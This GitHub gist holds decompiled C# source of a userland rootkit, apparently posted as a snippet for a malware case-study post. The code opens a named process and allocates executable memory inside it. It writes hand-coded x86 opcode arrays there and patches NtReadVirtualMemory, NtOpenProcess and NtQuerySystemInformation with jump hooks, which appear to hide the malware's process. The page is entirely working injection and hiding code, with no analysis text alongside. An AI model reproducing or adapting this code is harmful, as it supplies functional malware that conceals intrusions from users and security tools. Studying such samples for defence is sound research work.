Skip to content

Instantly share code, notes, and snippets.

@hasherezade
Created December 7, 2016 02:32
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hasherezade/ab4bfd846ccd56aa6cb25a2a3d757be2 to your computer and use it in GitHub Desktop.
Save hasherezade/ab4bfd846ccd56aa6cb25a2a3d757be2 to your computer and use it in GitHub Desktop.
Snippet for the post "Simple userland rootkit – a case study"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic.CompilerServices;
namespace cvew
{
// Token: 0x02000025 RID: 37
[StandardModule]
internal sealed class ROOT1
{
// Token: 0x0600005F RID: 95
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern bool CloseHandle(IntPtr pHandle);
// Token: 0x06000060 RID: 96
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
// Token: 0x06000061 RID: 97
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesRead);
// Token: 0x06000062 RID: 98
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
// Token: 0x06000063 RID: 99
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, ref uint lpflOldProtect);
// Token: 0x06000064 RID: 100
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern bool Module32Next(IntPtr hSnapshot, ref ROOT1.MODULEENTRY32 lpme);
// Token: 0x06000065 RID: 101
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern bool Module32First(IntPtr hSnapshot, ref ROOT1.MODULEENTRY32 lpme);
// Token: 0x06000066 RID: 102
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint u32ProcessId);
// Token: 0x06000067 RID: 103
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Token: 0x06000068 RID: 104 RVA: 0x00006C00 File Offset: 0x00005000
private static byte[] ReadMemoryByte(IntPtr hProcess, IntPtr lpBaseAddress, uint nSize)
{
byte[] array = new byte[checked((int)(unchecked((ulong)nSize) - 1uL) + 1)];
byte[] arg_17_2 = array;
uint num = 0u;
ROOT1.ReadProcessMemory(hProcess, lpBaseAddress, arg_17_2, nSize, ref num);
return array;
}
// Token: 0x06000069 RID: 105 RVA: 0x00006C30 File Offset: 0x00005030
private static uint RemoteGetProcAddressManual(IntPtr hProcess, uint ModuleAddress, string Export)
{
checked
{
uint num = BitConverter.ToUInt32(ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)ModuleAddress) + 60uL)), 4u), 0);
uint num2 = BitConverter.ToUInt32(ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)(checked(ModuleAddress + num))) + 120uL)), 4u), 0);
byte[] value = ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)(checked(ModuleAddress + num2))))), 40u);
int num3 = BitConverter.ToInt32(value, 24);
uint num4 = BitConverter.ToUInt32(value, 32) + ModuleAddress;
uint num5 = BitConverter.ToUInt32(value, 28) + ModuleAddress;
uint num6 = BitConverter.ToUInt32(value, 36) + ModuleAddress;
IntPtr intPtr = Marshal.AllocHGlobal(64);
int arg_8B_0 = 1;
int num7 = num3;
int num8 = arg_8B_0;
uint num12;
while (true)
{
int arg_142_0 = num8;
int num9 = num7;
if (arg_142_0 > num9)
{
goto Block_2;
}
uint num10 = BitConverter.ToUInt32(ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)num4) + (ulong)(unchecked((long)(checked((num8 - 1) * 4)))))), 4u), 0);
Marshal.Copy(ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)(checked(ModuleAddress + num10))))), 64u), 0, intPtr, 64);
string strA = Marshal.PtrToStringAnsi(intPtr);
uint num11 = (uint)BitConverter.ToInt16(ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)num6) + (ulong)(unchecked((long)(checked((num8 - 1) * 2)))))), 2u), 0);
num12 = BitConverter.ToUInt32(ROOT1.ReadMemoryByte(hProcess, (IntPtr)((long)(unchecked((ulong)num5) + unchecked((ulong)num11) * 4uL)), 4u), 0) + ModuleAddress;
bool flag = string.Compare(strA, Export, true) == 0;
if (flag)
{
break;
}
num8++;
}
Marshal.FreeHGlobal(intPtr);
uint result = num12;
return result;
Block_2:
Marshal.FreeHGlobal(intPtr);
result = 0u;
return result;
}
}
// Token: 0x0600006A RID: 106 RVA: 0x00006D94 File Offset: 0x00005194
private static IntPtr GetModuleBaseAddress(string strProcess, string strModule)
{
checked
{
IntPtr intPtr = ROOT1.CreateToolhelp32Snapshot(24u, (uint)Process.GetProcessesByName(strProcess)[0].Id);
IntPtr intPtr2;
bool flag = intPtr == intPtr2;
IntPtr result;
if (flag)
{
result = intPtr2;
}
else
{
ROOT1.MODULEENTRY32 mODULEENTRY = default(ROOT1.MODULEENTRY32);
mODULEENTRY.U32Size = (uint)Marshal.SizeOf(mODULEENTRY);
flag = ROOT1.Module32First(intPtr, ref mODULEENTRY);
if (flag)
{
while (true)
{
bool flag2 = mODULEENTRY.ModBaseAddr.ToInt64() <= 2147483647L;
if (flag2)
{
bool flag3 = string.Compare(strModule, mODULEENTRY.SzModule, true) == 0;
if (flag3)
{
break;
}
}
if (!ROOT1.Module32Next(intPtr, ref mODULEENTRY))
{
goto IL_A2;
}
}
result = mODULEENTRY.ModBaseAddr;
return result;
}
IL_A2:
result = intPtr2;
}
return result;
}
}
// Token: 0x0600006B RID: 107 RVA: 0x00006E4C File Offset: 0x0000524C
private static int CalculateOffset(int DesAddress, int SrcAddress)
{
return checked(DesAddress - SrcAddress - 5);
}
// Token: 0x0600006C RID: 108 RVA: 0x00006E64 File Offset: 0x00005264
public static void HookApplication(string ProcessName)
{
byte[] array = new byte[97];
uint[] array2 = new uint[4];
byte[][] array3 = new byte[4][];
uint num = 0u;
byte[] array4 = new byte[]
{
233,
0,
0,
0,
0
};
byte[][] array5 = new byte[][]
{
ROOT1.NtReadVirtualMemory_AsmOpCode,
ROOT1.NtOpenProcess_AsmOpCode,
ROOT1.NtQuerySystemInformation_AsmOpCode
};
uint num2;
IntPtr intPtr;
uint num3;
uint value;
uint value2;
checked
{
num2 = (uint)(array5[0].Length + array5[1].Length + array5[2].Length);
intPtr = ROOT1.OpenProcess(56, false, (uint)Process.GetProcessesByName(ProcessName)[0].Id);
IntPtr lpAddress;
num3 = (uint)((int)ROOT1.VirtualAllocEx(intPtr, lpAddress, (uint)(unchecked((ulong)num2) + 96uL), 12288u, 64u));
value = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetProcessId"));
value2 = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetCurrentProcessId"));
array2[0] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtReadVirtualMemory"));
array2[1] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtOpenProcess"));
array2[2] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtQuerySystemInformation"));
}
array3[0] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)array2[0])), 24u);
array3[1] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)array2[1])), 24u);
array3[2] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)array2[2])), 24u);
BitConverter.GetBytes(value).CopyTo(array, 0);
BitConverter.GetBytes(value2).CopyTo(array, 4);
BitConverter.GetBytes(Process.GetCurrentProcess().Id).CopyTo(array, 8);
BitConverter.GetBytes(array2[0]).CopyTo(array, 12);
BitConverter.GetBytes(array2[1]).CopyTo(array, 16);
BitConverter.GetBytes(array2[2]).CopyTo(array, 20);
array3[0].CopyTo(array, 24);
array3[1].CopyTo(array, 48);
array3[2].CopyTo(array, 72);
uint num4 = num3;
IntPtr arg_258_0 = intPtr;
IntPtr arg_258_1 = (IntPtr)((long)((ulong)num4));
byte[] arg_258_2 = array;
uint arg_258_3 = 96u;
uint num5 = 0u;
ROOT1.WriteProcessMemory(arg_258_0, arg_258_1, arg_258_2, arg_258_3, ref num5);
checked
{
num4 = (uint)(unchecked((ulong)num4) + 96uL);
int arg_271_0 = 0;
int num6 = array5.Length - 1;
int num7 = arg_271_0;
while (true)
{
int arg_2B5_0 = num7;
int num8 = num6;
if (arg_2B5_0 > num8)
{
break;
}
IntPtr arg_291_0 = intPtr;
IntPtr arg_291_1 = (IntPtr)((long)(unchecked((ulong)num4)));
byte[] arg_291_2 = array5[num7];
uint arg_291_3 = (uint)array5[num7].Length;
num5 = 0u;
ROOT1.WriteProcessMemory(arg_291_0, arg_291_1, arg_291_2, arg_291_3, ref num5);
num4 = (uint)(unchecked((ulong)num4) + (ulong)(unchecked((long)array5[num7].Length)));
num7++;
}
IntPtr arg_2D0_0 = intPtr;
IntPtr arg_2D0_1 = (IntPtr)((long)(unchecked((ulong)num3)));
uint arg_2D0_2 = (uint)(unchecked((ulong)num2) + 96uL);
uint arg_2D0_3 = 16u;
num5 = 0u;
ROOT1.VirtualProtectEx(arg_2D0_0, arg_2D0_1, arg_2D0_2, arg_2D0_3, ref num5);
num4 = (uint)(unchecked((ulong)num3) + 96uL);
BitConverter.GetBytes(ROOT1.CalculateOffset((int)num4, (int)array2[0])).CopyTo(array4, 1);
ROOT1.VirtualProtectEx(intPtr, (IntPtr)((long)(unchecked((ulong)array2[0]))), (uint)array4.Length, 64u, ref num);
IntPtr arg_327_0 = intPtr;
IntPtr arg_327_1 = (IntPtr)((long)(unchecked((ulong)array2[0])));
byte[] arg_327_2 = array4;
uint arg_327_3 = (uint)array4.Length;
num5 = 0u;
ROOT1.WriteProcessMemory(arg_327_0, arg_327_1, arg_327_2, arg_327_3, ref num5);
IntPtr arg_343_0 = intPtr;
IntPtr arg_343_1 = (IntPtr)((long)(unchecked((ulong)array2[0])));
uint arg_343_2 = (uint)array4.Length;
uint arg_343_3 = num;
num5 = 0u;
ROOT1.VirtualProtectEx(arg_343_0, arg_343_1, arg_343_2, arg_343_3, ref num5);
num4 = (uint)(unchecked((ulong)num4) + (ulong)(unchecked((long)array5[0].Length)));
BitConverter.GetBytes(ROOT1.CalculateOffset((int)num4, (int)array2[1])).CopyTo(array4, 1);
ROOT1.VirtualProtectEx(intPtr, (IntPtr)((long)(unchecked((ulong)array2[1]))), (uint)array4.Length, 64u, ref num);
IntPtr arg_39E_0 = intPtr;
IntPtr arg_39E_1 = (IntPtr)((long)(unchecked((ulong)array2[1])));
byte[] arg_39E_2 = array4;
uint arg_39E_3 = (uint)array4.Length;
num5 = 0u;
ROOT1.WriteProcessMemory(arg_39E_0, arg_39E_1, arg_39E_2, arg_39E_3, ref num5);
IntPtr arg_3BA_0 = intPtr;
IntPtr arg_3BA_1 = (IntPtr)((long)(unchecked((ulong)array2[1])));
uint arg_3BA_2 = (uint)array4.Length;
uint arg_3BA_3 = num;
num5 = 0u;
ROOT1.VirtualProtectEx(arg_3BA_0, arg_3BA_1, arg_3BA_2, arg_3BA_3, ref num5);
num4 = (uint)(unchecked((ulong)num4) + (ulong)(unchecked((long)array5[1].Length)));
BitConverter.GetBytes(ROOT1.CalculateOffset((int)num4, (int)array2[2])).CopyTo(array4, 1);
ROOT1.VirtualProtectEx(intPtr, (IntPtr)((long)(unchecked((ulong)array2[2]))), (uint)array4.Length, 64u, ref num);
IntPtr arg_415_0 = intPtr;
IntPtr arg_415_1 = (IntPtr)((long)(unchecked((ulong)array2[2])));
byte[] arg_415_2 = array4;
uint arg_415_3 = (uint)array4.Length;
num5 = 0u;
ROOT1.WriteProcessMemory(arg_415_0, arg_415_1, arg_415_2, arg_415_3, ref num5);
IntPtr arg_431_0 = intPtr;
IntPtr arg_431_1 = (IntPtr)((long)(unchecked((ulong)array2[2])));
uint arg_431_2 = (uint)array4.Length;
uint arg_431_3 = num;
num5 = 0u;
ROOT1.VirtualProtectEx(arg_431_0, arg_431_1, arg_431_2, arg_431_3, ref num5);
ROOT1.CloseHandle(intPtr);
}
}
// Token: 0x04000048 RID: 72
private static byte[] NtReadVirtualMemory_AsmOpCode = new byte[]
{
85,
139,
236,
131,
236,
20,
86,
199,
69,
248,
1,
0,
0,
192,
232,
0,
0,
0,
0,
88,
37,
0,
240,
255,
255,
137,
69,
252,
255,
117,
24,
255,
117,
20,
255,
117,
16,
255,
117,
12,
255,
117,
8,
139,
69,
252,
131,
192,
24,
255,
208,
137,
69,
248,
131,
125,
248,
0,
15,
140,
168,
0,
0,
0,
255,
117,
8,
139,
69,
252,
255,
16,
139,
240,
139,
69,
252,
255,
80,
4,
59,
240,
116,
10,
131,
125,
8,
255,
15,
133,
138,
0,
0,
0,
131,
101,
244,
0,
235,
7,
139,
69,
244,
64,
137,
69,
244,
131,
125,
244,
3,
115,
119,
139,
69,
244,
139,
77,
252,
131,
124,
129,
12,
0,
116,
101,
139,
69,
244,
139,
77,
252,
139,
68,
129,
12,
59,
69,
12,
114,
86,
139,
69,
12,
3,
69,
20,
139,
77,
244,
139,
85,
252,
57,
68,
138,
12,
115,
68,
139,
69,
244,
139,
77,
252,
139,
68,
129,
12,
43,
69,
12,
137,
69,
240,
131,
101,
236,
0,
235,
7,
139,
69,
236,
64,
137,
69,
236,
131,
125,
236,
24,
115,
33,
139,
69,
244,
107,
192,
24,
139,
77,
252,
141,
68,
1,
24,
139,
77,
236,
3,
77,
240,
139,
85,
16,
139,
117,
236,
138,
4,
48,
136,
4,
10,
235,
210,
233,
124,
255,
255,
255,
139,
69,
248,
94,
201,
194,
20,
0
};
// Token: 0x04000049 RID: 73
private static byte[] NtOpenProcess_AsmOpCode = new byte[]
{
85,
139,
236,
81,
81,
199,
69,
248,
1,
0,
0,
192,
232,
0,
0,
0,
0,
88,
37,
0,
240,
255,
255,
137,
69,
252,
131,
125,
20,
0,
116,
22,
139,
69,
20,
139,
77,
252,
139,
0,
59,
65,
8,
117,
9,
199,
69,
248,
34,
0,
0,
192,
235,
23,
255,
117,
20,
255,
117,
16,
255,
117,
12,
255,
117,
8,
139,
69,
252,
131,
192,
48,
255,
208,
137,
69,
248,
139,
69,
248,
201,
194,
16,
0
};
// Token: 0x0400004A RID: 74
private static byte[] NtQuerySystemInformation_AsmOpCode = new byte[]
{
85,
139,
236,
131,
236,
28,
86,
87,
199,
69,
236,
1,
0,
0,
192,
232,
0,
0,
0,
0,
88,
37,
0,
240,
255,
255,
137,
69,
240,
255,
117,
20,
255,
117,
16,
255,
117,
12,
255,
117,
8,
139,
69,
240,
131,
192,
72,
255,
208,
137,
69,
236,
131,
125,
236,
0,
15,
140,
78,
1,
0,
0,
131,
125,
8,
5,
117,
93,
131,
101,
248,
0,
139,
69,
12,
137,
69,
244,
139,
69,
244,
131,
56,
0,
116,
70,
139,
69,
244,
137,
69,
248,
139,
69,
248,
139,
77,
248,
3,
8,
137,
77,
244,
139,
69,
244,
139,
77,
240,
139,
64,
68,
59,
65,
8,
117,
37,
139,
69,
244,
131,
56,
0,
117,
8,
139,
69,
248,
131,
32,
0,
235,
15,
139,
69,
248,
139,
0,
139,
77,
244,
3,
1,
139,
77,
248,
137,
1,
139,
69,
248,
137,
69,
244,
235,
178,
233,
235,
0,
0,
0,
131,
125,
8,
16,
15,
133,
225,
0,
0,
0,
139,
69,
12,
137,
69,
252,
131,
101,
232,
0,
235,
7,
139,
69,
232,
64,
137,
69,
232,
139,
69,
252,
139,
77,
232,
59,
8,
15,
131,
192,
0,
0,
0,
139,
69,
232,
193,
224,
4,
139,
77,
252,
139,
85,
240,
139,
68,
1,
4,
59,
66,
8,
15,
133,
162,
0,
0,
0,
139,
69,
232,
193,
224,
4,
139,
77,
252,
198,
68,
1,
9,
0,
139,
69,
232,
193,
224,
4,
139,
77,
252,
131,
100,
1,
16,
0,
139,
69,
232,
193,
224,
4,
51,
201,
139,
85,
252,
102,
137,
76,
2,
10,
139,
69,
232,
193,
224,
4,
139,
77,
252,
131,
100,
1,
12,
0,
139,
69,
232,
193,
224,
4,
139,
77,
252,
198,
68,
1,
8,
0,
139,
69,
232,
193,
224,
4,
139,
77,
252,
131,
100,
1,
4,
0,
139,
69,
232,
137,
69,
228,
235,
7,
139,
69,
228,
64,
137,
69,
228,
139,
69,
252,
139,
77,
228,
59,
8,
115,
33,
139,
69,
228,
64,
193,
224,
4,
139,
77,
252,
141,
116,
1,
4,
139,
69,
228,
193,
224,
4,
139,
77,
252,
141,
124,
1,
4,
165,
165,
165,
165,
235,
206,
139,
69,
252,
139,
0,
72,
139,
77,
252,
137,
1,
139,
69,
232,
72,
137,
69,
232,
233,
43,
255,
255,
255,
139,
69,
236,
95,
94,
201,
194,
16,
0
};
// Token: 0x02000026 RID: 38
public struct MODULEENTRY32
{
// Token: 0x0400004B RID: 75
public uint U32Size;
// Token: 0x0400004C RID: 76
public uint Th32ModuleId;
// Token: 0x0400004D RID: 77
public uint Th32ProcessId;
// Token: 0x0400004E RID: 78
public uint GlblcntUsage;
// Token: 0x0400004F RID: 79
public uint ProccntUsage;
// Token: 0x04000050 RID: 80
public IntPtr ModBaseAddr;
// Token: 0x04000051 RID: 81
public uint ModBaseSize;
// Token: 0x04000052 RID: 82
public IntPtr HModule;
// Token: 0x04000053 RID: 83
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public string SzModule;
// Token: 0x04000054 RID: 84
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public string SzeExePath;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment